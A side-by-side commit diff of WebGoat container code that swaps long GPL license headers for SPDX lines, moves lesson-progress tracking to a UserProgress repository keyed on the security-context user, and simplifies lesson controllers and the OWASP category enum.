import org.owasp.webgoat.container.users.UserTrackerRepository; import org.owasp.webgoat.container.users.UserProgress;
import org.owasp.webgoat.container.users.UserProgressRepository;
import org.owasp.webgoat.container.users.WebGoatUser;
import org.springframework.core.MethodParameter; import org.springframework.core.MethodParameter;
import org.springframework.http.MediaType; import org.springframework.http.MediaType;
import org.springframework.http.converter.HttpMessageConverter; import org.springframework.http.converter.HttpMessageConverter;
import org.springframework.http.server.ServerHttpRequest; import org.springframework.http.server.ServerHttpRequest;
import org.springframework.http.server.ServerHttpResponse; import org.springframework.http.server.ServerHttpResponse;
import org.springframework.security.core.context.SecurityContextHolder;
import org.springframework.util.Assert;
import org.springframework.web.bind.annotation.RestControllerAdvice; import org.springframework.web.bind.annotation.RestControllerAdvice;
import org.springframework.web.servlet.mvc.method.annotation.ResponseBodyAdvice; import org.springframework.web.servlet.mvc.method.annotation.ResponseBodyAdvice;
@RestControllerAdvice @RestControllerAdvice
public class LessonTrackerInterceptor implements ResponseBodyAdvice<Object> { public class LessonTrackerInterceptor implements ResponseBodyAdvice<Object> {
private UserTrackerRepository userTrackerRepository; private final Course course;
private WebSession webSession; private final UserProgressRepository userProgressRepository;
public LessonTrackerInterceptor( public LessonTrackerInterceptor(Course course, UserProgressRepository userProgressRepository) {
UserTrackerRepository userTrackerRepository, WebSession webSession) { this.course = course;
this.userTrackerRepository = userTrackerRepository; this.userProgressRepository = userProgressRepository;
this.webSession = webSession;
} }
@Override @Override
@ -65,18 +50,30 @@ public class LessonTrackerInterceptor implements ResponseBodyAdvice<Object> {
return o; return o;
} }
protected AttackResult trackProgress(AttackResult attackResult) { private void trackProgress(AttackResult attackResult) {
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName()); var user = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal();
if (userTracker == null) { Assert.notNull(user, "User not found in SecurityContext");
userTracker = new UserTracker(webSession.getUserName()); var username = realUsername(user);
}
if (attackResult.assignmentSolved()) {
userTracker.assignmentSolved(webSession.getCurrentLesson(), attackResult.getAssignment());
} else {
userTracker.assignmentFailed(webSession.getCurrentLesson());
}
userTrackerRepository.save(userTracker);
return attackResult; var userProgress = userProgressRepository.findByUser(username);
if (userProgress == null) {
userProgress = new UserProgress(username);
}
Lesson lesson = course.getLessonByAssignment(attackResult.getAssignment());
Assert.notNull(lesson, "Lesson not found for assignment " + attackResult.getAssignment());
if (attackResult.assignmentSolved()) {
userProgress.assignmentSolved(lesson, attackResult.getAssignment());
} else {
userProgress.assignmentFailed(lesson);
}
userProgressRepository.save(userProgress);
}
private String realUsername(WebGoatUser user) {
// maybe we shouldn't hard code this with just csrf- prefix for now it works
return user.getUsername().startsWith("csrf-")
? user.getUsername().substring("csrf-".length())
: user.getUsername();
} }
} }

View File

@ -1,74 +1,25 @@
/** /*
* ************************************************************************************************ * SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors
* * SPDX-License-Identifier: GPL-2.0-or-later
* <p>
*
* <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* <p>Copyright (c) 2002 - 2014 Bruce Mayhew
*
* <p>This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* <p>You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* <p>Getting Source ==============
*
* <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*
* @author WebGoat
* @version $Id: $Id
* @since October 28, 2003
*/ */
package org.owasp.webgoat.container.controller; package org.owasp.webgoat.container.controller;
import jakarta.servlet.http.HttpServletRequest; import jakarta.servlet.http.HttpServletRequest;
import org.owasp.webgoat.container.session.Course; import org.owasp.webgoat.container.session.Course;
import org.owasp.webgoat.container.session.WebSession;
import org.springframework.stereotype.Controller; import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.servlet.ModelAndView; import org.springframework.web.servlet.ModelAndView;
@Controller @Controller
public class StartLesson { public class StartLesson {
private final WebSession ws;
private final Course course; private final Course course;
public StartLesson(WebSession ws, Course course) { public StartLesson(Course course) {
this.ws = ws;
this.course = course; this.course = course;
} }
/** @GetMapping(
* start.
*
* @return a {@link ModelAndView} object.
*/
@RequestMapping(
path = "startlesson.mvc",
method = {RequestMethod.GET, RequestMethod.POST})
public ModelAndView start() {
var model = new ModelAndView();
model.addObject("course", course);
model.addObject("lesson", ws.getCurrentLesson());
model.setViewName("lesson_content");
return model;
}
@RequestMapping(
value = {"*.lesson"}, value = {"*.lesson"},
produces = "text/html") produces = "text/html")
public ModelAndView lessonPage(HttpServletRequest request) { public ModelAndView lessonPage(HttpServletRequest request) {
@ -81,8 +32,7 @@ public class StartLesson {
.findFirst() .findFirst()
.ifPresent( .ifPresent(
lesson -> { lesson -> {
ws.setCurrentLesson(lesson); request.setAttribute("lesson", lesson);
model.addObject("lesson", lesson);
}); });
return model; return model;

View File

@ -1,31 +1,6 @@
/** /*
* ************************************************************************************************ * SPDX-FileCopyrightText: Copyright © 2014 WebGoat authors
* * SPDX-License-Identifier: GPL-2.0-or-later
* <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* <p>Copyright (c) 2002 - 2014 Bruce Mayhew
*
* <p>This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* <p>You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* <p>Getting Source ==============
*
* <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*
* @author WebGoat
* @since October 28, 2003
* @version $Id: $Id
*/ */
package org.owasp.webgoat.container.controller; package org.owasp.webgoat.container.controller;

View File

@ -1,28 +1,7 @@
/* /*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, * SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors
* please see http://www.owasp.org/ * SPDX-License-Identifier: GPL-2.0-or-later
* <p>
* Copyright (c) 2002 - 2017 Bruce Mayhew
* <p>
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
* <p>
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
* <p>
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
* <p>
* Getting Source ==============
* <p>
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
* <p>
*/ */
package org.owasp.webgoat.container.i18n; package org.owasp.webgoat.container.i18n;
import java.util.Locale; import java.util.Locale;
@ -34,9 +13,6 @@ import org.springframework.web.servlet.LocaleResolver;
/** /**
* Wrapper around the LocaleResolver from Spring so we do not need to bother with passing the * Wrapper around the LocaleResolver from Spring so we do not need to bother with passing the
* HttpRequest object when asking for a Locale. * HttpRequest object when asking for a Locale.
*
* @author nbaars
* @date 2/7/17
*/ */
@AllArgsConstructor @AllArgsConstructor
public class Language { public class Language {

View File

@ -1,28 +1,7 @@
/* /*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, * SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors
* please see http://www.owasp.org/ * SPDX-License-Identifier: GPL-2.0-or-later
* <p>
* Copyright (c) 2002 - 2017 Bruce Mayhew
* <p>
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
* <p>
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
* <p>
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
* <p>
* Getting Source ==============
* <p>
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
* <p>
*/ */
package org.owasp.webgoat.container.i18n; package org.owasp.webgoat.container.i18n;
import java.util.Properties; import java.util.Properties;

View File

@ -1,28 +1,7 @@
/* /*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, * SPDX-FileCopyrightText: Copyright © 2017 WebGoat authors
* please see http://www.owasp.org/ * SPDX-License-Identifier: GPL-2.0-or-later
* <p>
* Copyright (c) 2002 - 2017 Bruce Mayhew
* <p>
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
* <p>
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
* <p>
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
* <p>
* Getting Source ==============
* <p>
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
* <p>
*/ */
package org.owasp.webgoat.container.i18n; package org.owasp.webgoat.container.i18n;
import java.io.IOException; import java.io.IOException;
@ -32,9 +11,6 @@ import org.springframework.core.io.support.ResourcePatternResolver;
/** /**
* Message resource bundle for plugins. * Message resource bundle for plugins.
*
* @author nbaars
* @date 2/4/17
*/ */
public class PluginMessages extends ReloadableResourceBundleMessageSource { public class PluginMessages extends ReloadableResourceBundleMessageSource {
private static final String PROPERTIES_SUFFIX = ".properties"; private static final String PROPERTIES_SUFFIX = ".properties";

View File

@ -1,3 +1,7 @@
/*
* SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container.lessons; package org.owasp.webgoat.container.lessons;
import jakarta.persistence.Entity; import jakarta.persistence.Entity;
@ -10,36 +14,6 @@ import java.util.List;
import lombok.EqualsAndHashCode; import lombok.EqualsAndHashCode;
import lombok.Getter; import lombok.Getter;
/**
* ************************************************************************************************
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* <p>Copyright (c) 2002 - 2014 Bruce Mayhew
*
* <p>This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* <p>You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* <p>Getting Source ==============
*
* <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*
* <p>
*
* @author nbaars
* @version $Id: $Id
* @since November 25, 2016
*/
@Getter @Getter
@EqualsAndHashCode @EqualsAndHashCode
@Entity @Entity
@ -54,7 +28,7 @@ public class Assignment {
@Transient private List<String> hints; @Transient private List<String> hints;
private Assignment() { protected Assignment() {
// Hibernate // Hibernate
} }

View File

@ -1,63 +1,34 @@
/*
* SPDX-FileCopyrightText: Copyright © 2008 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container.lessons; package org.owasp.webgoat.container.lessons;
import lombok.Getter; import lombok.Getter;
/**
* *************************************************************************************************
*
* <p>
*
* <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* <p>Copyright (c) 2002 - 2014 Bruce Mayhew
*
* <p>This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* <p>You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* <p>Getting Source ==============
*
* <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @version $Id: $Id
* @since October 28, 2003
*/
public enum Category { public enum Category {
INTRODUCTION("Introduction", 5), INTRODUCTION("Introduction"),
GENERAL("General", 100), GENERAL("General"),
A1("(A1) Broken Access Control", 301), A1("(A1) Broken Access Control"),
A2("(A2) Cryptographic Failures", 302), A2("(A2) Cryptographic Failures"),
A3("(A3) Injection", 303), A3("(A3) Injection"),
A5("(A5) Security Misconfiguration", 305), A5("(A5) Security Misconfiguration"),
A6("(A6) Vuln & Outdated Components", 306), A6("(A6) Vuln & Outdated Components"),
A7("(A7) Identity & Auth Failure", 307), A7("(A7) Identity & Auth Failure"),
A8("(A8) Software & Data Integrity", 308), A8("(A8) Software & Data Integrity"),
A9("(A9) Security Logging Failures", 309), A9("(A9) Security Logging Failures"),
A10("(A10) Server-side Request Forgery", 310), A10("(A10) Server-side Request Forgery"),
CLIENT_SIDE("Client side", 1700), CLIENT_SIDE("Client side"),
CHALLENGE("Challenges", 3000); CHALLENGE("Challenges");
@Getter private String name; @Getter private String name;
@Getter private Integer ranking;
Category(String name, Integer ranking) { Category(String name) {
this.name = name; this.name = name;
this.ranking = ranking;
} }
@Override @Override

Some files were not shown because too many files have changed in this diff Show More